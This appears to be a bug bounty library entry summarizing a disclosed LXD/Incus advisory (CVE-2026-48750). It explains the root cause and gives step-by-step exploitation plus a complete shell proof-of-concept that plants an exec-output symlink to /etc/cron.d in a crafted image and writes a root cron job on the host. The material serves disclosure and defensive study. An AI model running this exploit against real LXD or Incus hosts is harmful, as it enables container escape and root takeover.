# LXD has arbitrary file write on host via `exec-output` symlink in crafted image

Crafted LXD image ships an exec-output symlink to /etc/cron.d; record-output exec writes attacker-controlled cron file on host, yielding root command execution.

- Payout: Research
- Severity: critical
- Program: LXD
- Found by: antifob
- Disclosed: 2026-11-06
- CVE: CVE-2026-48750
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9j25-mm2h-2f76
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9j25-mm2h-2f76
- Tags: area:cloud domain:cloud domain:infra impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained vuln:path-traversal vuln:privilege-escalation vuln:rce

**Target:** /instances/$name/exec endpoint with record-output and image unpacking
**Root cause:** Image unpacking extracts top-level symlinks as-is, so exec-output can be a symlink; os.Mkdir tolerates its existence and os.OpenFile follows the symlink when writing exec_UUID.stdout/stderr.
**Steps:**
1. Export a base image and unpack it: `incus image export "${basefp}" "${tmpdir}/img"` then `xz -cd "${tmpdir}/img" | tar -f- -vx`
2. Replace exec-output with a symlink: `rm -rf exec-output; ln -s /etc/cron.d exec-output`
3. Repack and import: `tar -f- -c * | gzip -c9 >"${tmpdir}/img"` then `incus image import "${tmpdir}"/img* --alias afw-exec-output`
4. Launch instance and wait for IP
5. POST to `/1.0/instances/afw-exec-output/exec` with `{"command":["/bin/sh","-c","echo * * * * * root id>/afw-exec-output"],"record-output":true}`
6. Wait on the returned operation; cron file `exec_UUID.stdout` lands in /etc/cron.d and executes as root
**How found:** Noticed image unpacking preserves top-level symlinks and that instance_exec.go's os.Mkdir continues when exec-output exists while os.OpenFile follows the symlink.
**Exploitation:** Attacker with image import rights crafts an image whose exec-output is a symlink to /etc/cron.d, launches it, then triggers exec with record-output=true and a command whose stdout is a cron line; the .stdout file is written into /etc/cron.d and cron runs it as root on the host.
**Escalation:** Chaining container image import + exec record-output to escape the container boundary and gain host root via cron.
**Insight:** When a feature writes files into a per-instance directory, check whether that directory name can be pre-created as a symlink by an earlier stage (image unpack, restore, snapshot) and whether the write path uses O_NOFOLLOW or lstat checks.

## Proof of concept (copied exactly from the original report)

**Shell PoC repacking image with exec-output symlink**

```
#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;
```

## Write-ups of the same bug (oldest first)
- 2026-06-26: [Incus has an arbitrary file write on host via `exec-output` symlink in crafted image](https://bugbountylibrary.com/r/ghsa%3AGHSA-73hr-m85f-64v9) — antifob
- 2026-11-06: [LXD has arbitrary file write on host via `exec-output` symlink in crafted image](https://bugbountylibrary.com/r/ghsa%3AGHSA-9j25-mm2h-2f76) — antifob (this one)

